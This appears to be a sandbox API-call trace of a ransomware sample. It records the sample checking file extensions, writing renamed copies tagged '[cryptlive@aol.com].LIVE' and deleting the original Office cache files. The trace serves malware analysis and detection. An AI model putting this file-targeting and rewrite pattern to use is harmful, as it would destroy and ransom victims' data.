lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0052.235] lstrlenW (lpString=".ppt") returned 4 [0052.235] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0052.235] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0052.235] lstrlenW (lpString=".zip") returned 4 [0052.235] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0052.235] lstrlenW (lpString=".rar") returned 4 [0052.235] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0052.235] lstrlenW (lpString=".bz2") returned 4 [0052.235] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0052.235] lstrlenW (lpString=".7z") returned 3 [0052.235] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0052.236] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0052.236] lstrlenW (lpString=".dbf") returned 4 [0052.236] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0052.236] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0052.236] lstrlenW (lpString=".1cd") returned 4 [0052.236] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0052.236] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0052.236] lstrlenW (lpString=".jpg") returned 4 [0052.236] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0052.236] lstrcmpiW (lpString1=".exe", lpString2=".LIVE") returned -1 [0052.236] lstrlenW (lpString="setup.exe") returned 9 [0052.236] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0052.365] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1377656) returned 1 [0052.365] CloseHandle (hObject=0x210) returned 1 [0052.366] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0052.366] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0052.366] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0052.366] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.366] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.366] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0052.366] GetLastError () returned 0x0 [0052.366] ReadFile (in: hFile=0x210, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2b8fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0052.661] WriteFile (in: hFile=0x208, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0052.681] ReadFile (in: hFile=0x210, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2b8fed4*=0x50588, lpOverlapped=0x0) returned 1 [0052.721] WriteFile (in: hFile=0x208, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x50590, lpOverlapped=0x0) returned 1 [0052.729] ReadFile (in: hFile=0x210, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.729] WriteFile (in: hFile=0x208, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0052.729] SetEndOfFile (hFile=0x208) returned 1 [0052.729] CloseHandle (hObject=0x208) returned 1 [0052.730] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.730] SetEndOfFile (hFile=0x210) returned 1 [0052.734] CloseHandle (hObject=0x210) returned 1 [0052.734] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0052.734] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0052.734] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.734] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.734] lstrlenW (lpString=".doc") returned 4 [0052.734] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0052.734] lstrlenW (lpString=".docx") returned 5 [0052.734] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0052.734] lstrlenW (lpString=".pdf") returned 4 [0052.734] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0052.734] lstrlenW (lpString=".xls") returned 4 [0052.734] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0052.735] lstrlenW (lpString=".xlsx") returned 5 [0052.735] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0052.735] lstrlenW (lpString=".ppt") returned 4 [0052.735] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0052.735] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.735] lstrlenW (lpString=".zip") returned 4 [0052.735] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0052.735] lstrlenW (lpString=".rar") returned 4 [0052.735] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0052.735] lstrlenW (lpString=".bz2") returned 4 [0052.735] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0052.735] lstrlenW (lpString=".7z") returned 3 [0052.735] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0052.735] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.735] lstrlenW (lpString=".dbf") returned 4 [0052.735] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0052.735] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.735] lstrlenW (lpString=".1cd") returned 4 [0052.735] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0052.735] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.735] lstrlenW (lpString=".jpg") returned 4 [0052.735] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0052.735] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.735] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.735] lstrlenW (lpString=".doc") returned 4 [0052.735] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0052.735] lstrlenW (lpString=".docx") returned 5 [0052.735] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0052.735] lstrlenW (lpString=".pdf") returned 4 [0052.735] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0052.735] lstrlenW (lpString=".xls") returned 4 [0052.735] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0052.735] lstrlenW (lpString=".xlsx") returned 5 [0052.736] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0052.736] lstrlenW (lpString=".ppt") returned 4 [0052.736] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0052.736] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.736] lstrlenW (lpString=".zip") returned 4 [0052.736] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0052.736] lstrlenW (lpString=".rar") returned 4 [0052.736] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0052.736] lstrlenW (lpString=".bz2") returned 4 [0052.736] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0052.736] lstrlenW (lpString=".7z") returned 3 [0052.736] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0052.736] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.736] lstrlenW (lpString=".dbf") returned 4 [0052.736] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0052.736] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.736] lstrlenW (lpString=".1cd") returned 4 [0052.736] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0052.736] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.736] lstrlenW (lpString=".jpg") returned 4 [0052.736] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0052.736] lstrcmpiW (lpString1=".exe", lpString2=".LIVE") returned -1 [0052.736] lstrlenW (lpString="ose.exe") returned 7 [0052.736] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0053.061] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=174440) returned 1 [0053.061] CloseHandle (hObject=0x160) returned 1 [0053.061] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0053.061] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0053.062] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0053.062] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.062] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.062] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0053.062] GetLastError () returned 0x0 [0053.062] ReadFile (in: hFile=0x160, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2b8fed4*=0x2a968, lpOverlapped=0x0) returned 1 [0053.066] WriteFile (in: hFile=0x218, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0053.070] ReadFile (in: hFile=0x160, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.070] WriteFile (in: hFile=0x218, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0053.070] SetEndOfFile (hFile=0x218) returned 1 [0053.070] CloseHandle (hObject=0x218) returned 1 [0053.070] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.070] SetEndOfFile (hFile=0x160) returned 1 [0053.072] CloseHandle (hObject=0x160) returned 1 [0053.072] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0053.072] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0053.072] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0053.073] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0053.073] lstrlenW (lpString=".doc") returned 4 [0053.073] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0053.073] lstrlenW (lpString=".docx") returned 5 [0053.073] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0053.073] lstrlenW (lpString=".pdf") returned 4 [0053.073] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0053.073] lstrlenW (lpString=".xls") returned 4 [0053.073] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0053.073] lstrlenW (lpString=".xlsx") returned 5 [0053.073] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0053.073] lstrlenW (lpString=".ppt") returned 4 [0053.073] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0053.073] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0053.073] lstrlenW (lpString=".zip") returned 4 [0053.073] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0053.073] lstrlenW (lpString=".rar") returned 4 [0053.073] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0053.073] lstrlenW (lpString=".bz2") returned 4 [0053.073] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0053.073] lstrlenW (lpString=".7z") returned 3 [0053.073] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0053.073] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0053.073] lstrlenW (lpString=".dbf") returned 4 [0053.073] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0053.073] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0053.073] lstrlenW (lpString=".1cd") returned 4 [0053.073] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0053.073] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0053.073] lstrlenW (lpString=".jpg") returned 4 [0053.073] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0053.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0053.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0053.074] lstrlenW (lpString=".doc") returned 4 [0053.074] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0053.074] lstrlenW (lpString=".docx") returned 5 [0053.074] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0053.074] lstrlenW (lpString=".pdf") returned 4 [0053.074] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0053.074] lstrlenW (lpString=".xls") returned 4 [0053.074] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0053.074] lstrlenW (lpString=".xlsx") returned 5 [0053.074] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0053.074] lstrlenW (lpString=".ppt") returned 4 [0053.074] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0053.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0053.074] lstrlenW (lpString=".zip") returned 4 [0053.074] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0053.075] lstrlenW (lpString=".rar") returned 4 [0053.075] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0053.075] lstrlenW (lpString=".bz2") returned 4 [0053.075] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0053.075] lstrlenW (lpString=".7z") returned 3 [0053.075] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0053.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0053.075] lstrlenW (lpString=".dbf") returned 4 [0053.075] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0053.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0053.075] lstrlenW (lpString=".1cd") returned 4 [0053.075] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0053.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0053.075] lstrlenW (lpString=".jpg") returned 4 [0053.075] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0053.075] lstrcmpiW (lpString1=".dll", lpString2=".LIVE") returned -1 [0053.075] lstrlenW (lpString="PidGenX.dll") returned 11 [0053.075] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0053.075] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1463568) returned 1 [0053.075] CloseHandle (hObject=0x160) returned 1 [0053.075] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0053.076] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0053.076] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0053.076] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.076] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.076] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0053.076] GetLastError () returned 0x0 [0053.076] ReadFile (in: hFile=0x160, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2b8fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0053.535] WriteFile (in: hFile=0x218, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0053.872] ReadFile (in: hFile=0x160, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2b8fed4*=0x65520, lpOverlapped=0x0) returned 1 [0054.027] WriteFile (in: hFile=0x218, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x65530, lpOverlapped=0x0) returned 1 [0054.044] ReadFile (in: hFile=0x160, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.044] WriteFile (in: hFile=0x218, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.045] SetEndOfFile (hFile=0x218) returned 1 [0054.262] CloseHandle (hObject=0x218) returned 1 [0054.262] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.262] SetEndOfFile (hFile=0x160) returned 1 [0054.270] CloseHandle (hObject=0x160) returned 1 [0054.270] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0054.270] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0054.271] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0054.271] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0054.271] lstrlenW (lpString=".doc") returned 4 [0054.271] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.271] lstrlenW (lpString=".docx") returned 5 [0054.271] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0054.271] lstrlenW (lpString=".pdf") returned 4 [0054.271] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.271] lstrlenW (lpString=".xls") returned 4 [0054.271] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.271] lstrlenW (lpString=".xlsx") returned 5 [0054.271] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0054.271] lstrlenW (lpString=".ppt") returned 4 [0054.271] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.271] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0054.271] lstrlenW (lpString=".zip") returned 4 [0054.271] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.271] lstrlenW (lpString=".rar") returned 4 [0054.271] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.271] lstrlenW (lpString=".bz2") returned 4 [0054.271] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.271] lstrlenW (lpString=".7z") returned 3 [0054.271] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.271] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0054.271] lstrlenW (lpString=".dbf") returned 4 [0054.271] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.271] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 